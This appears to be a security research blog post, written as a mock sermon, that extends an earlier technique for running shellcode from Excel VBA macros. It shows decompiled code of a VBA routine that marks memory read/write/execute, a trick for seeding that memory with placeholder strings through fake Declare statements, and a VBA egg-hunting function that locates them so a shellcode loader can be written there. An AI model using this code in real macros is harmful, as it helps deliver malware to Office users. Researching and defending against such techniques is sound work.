VBA: overwriting R/W/X memory in a reliable way
Dear Fellowlship, today’s homily is an addendum to our previous homily “VBA: having fun with macros, overwritten pointers & R/W/X memory”. After writing the previous post our owls met in a parliament to deliberate how to add stability to the technique shown. After a few exchanges of ideas lubricated by the consecrated wine, the solution was found. This solution was presented to the public during the EuskalHack VII conclave.
Prayers at the foot of the Altar a.k.a. disclaimer
I am writing this article after EuskalHack VII as an addedum to my previous post on this topic. When I presented this technique on this blog I did not have a reliable way to find a place where to place the shellcode, but weeks after I found a solution. In this short article I describe this solution to make the technique 100% reliable.
A quick recap
If you remember our article “VBA: having fun with macros, overwritten pointers & R/W/X memory” we executed our shellcode by just using a primitive to move memory from point A to point B, so we could overwrite a pointer that would let us hijack the natural program flow and jump to our shellcode. Also we found that VBA is a sinner and does nasty things like this:
1800eec9c long UpdatePageProtection(void* __ptr64 arg1, unsigned long arg2)
1800eecad enum WIN32_ERROR var_10 = NO_ERROR
1800eecd3 void var_c
1800eecd3 if (VirtualProtect(lpAddress: arg1, dwSize: zx.q(arg2), flNewProtect: PAGE_EXECUTE_READWRITE, lpflOldProtect: &var_c) == 0)
1800eecd5 enum WIN32_ERROR rax_2 = GetLastError()
1800eece4 enum WIN32_ERROR var_14_1
1800eece4 if (rax_2 s> NO_ERROR)
1800eed02 var_14_1 = zx.d(rax_2.w) | 0x70000 | 0x80000000
1800eecea else
1800eecea var_14_1 = rax_2
1800eed0a var_10 = var_14_1
1800eed17 return var_10
This little Eden is eager to be colonised by our shellcode, where it can enjoy a peaceful life. The problem is that in reality it is an illusion: this land is extremely unstable. In general, there are two problems:
- This memory region is continously being overwritten, so by the moment we jump to it maybe the shellcode was corrupted or totally wiped.
- This memory region cotains data that is used by Excel, so if we overwrite something useful… it would end in a crash.
Finding an oasis in the desert
In VBA a Declare sentence is only “executed” when the macro calls to that function/sub. This means we can have fake Declare for exports that does not exists and it is not going to return any error as long as we do not call that function. For example:
Private Declare PtrSafe Function ajjj13371337AdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdept Lib "KERNEL32" () As LongPtr
The magic happens when we discover that this string is present in the R/W/X memory region:
This means that we can use this trick to seed the R/W/X memory region with placeholders (~250 bytes) that can be overwritten with a small loader divided in chunks! To find the placeholders we can add a small “tag” (one different for each placeholder) as prefix and then search for it (classic egg hunting technique).
Function findEgg() As LongPtr
Dim mbi As MEMORY_BASIC_INFORMATION
Dim ret As LongPtr
Dim dwLenght As LongPtr
Dim j As Long
Dim check As Long
Dim found As Integer
found = 0
j = 1
For i = 0 To 500000
ret = VirtualQuery(addr, mbi, LenB(mbi))
If mbi.Protect = 64 Then
For k = 0 To mbi.RegionSize - 4 Step 1
Call CopyMemory(VarPtr(check), mbi.BaseAddress + k, 4)
If check = 926102321 Then '1337
findEgg = mbi.BaseAddress + k
found = 1
Exit For
End If
Next k
If found = 1 Then
Exit For
End If
End If
addr = mbi.BaseAddress + mbi.RegionSize
Next i
End Function
EoF
We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.